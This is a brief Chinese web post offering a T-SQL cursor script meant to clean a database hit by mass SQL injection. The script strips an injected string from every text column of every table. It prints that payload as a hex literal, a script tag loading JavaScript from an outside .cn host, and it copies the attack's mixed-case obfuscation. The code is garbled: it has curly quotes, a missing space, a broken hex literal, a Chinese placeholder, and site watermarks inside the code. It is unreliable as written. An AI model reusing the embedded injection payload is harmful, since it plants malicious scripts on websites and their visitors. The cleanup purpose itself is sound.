数据库被挂马的修复代码

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更多发布于：2012-11-24 20:43


	declare @t varchar(255),@c varchar(255) dEcLaRe table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.iD=b.iD AnDa.xTyPe=’u’ AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=replace(['+@c+'],替换挂马代码转十六进制,””)’); fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd close tAbLe_cursoR deallocate tAbLe_cursoR dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnDa.xTyPe=’u’ AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec(‘UpDaTe ['+@t+'] sEt['+@c+']=replace(convert(varchar,['+@c+']),cAsT (0x3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F736372 6970743E3C212D2D aS vArChAr(67)),””)’) fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd //Www.Killsec.Com www.atcpu.com cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR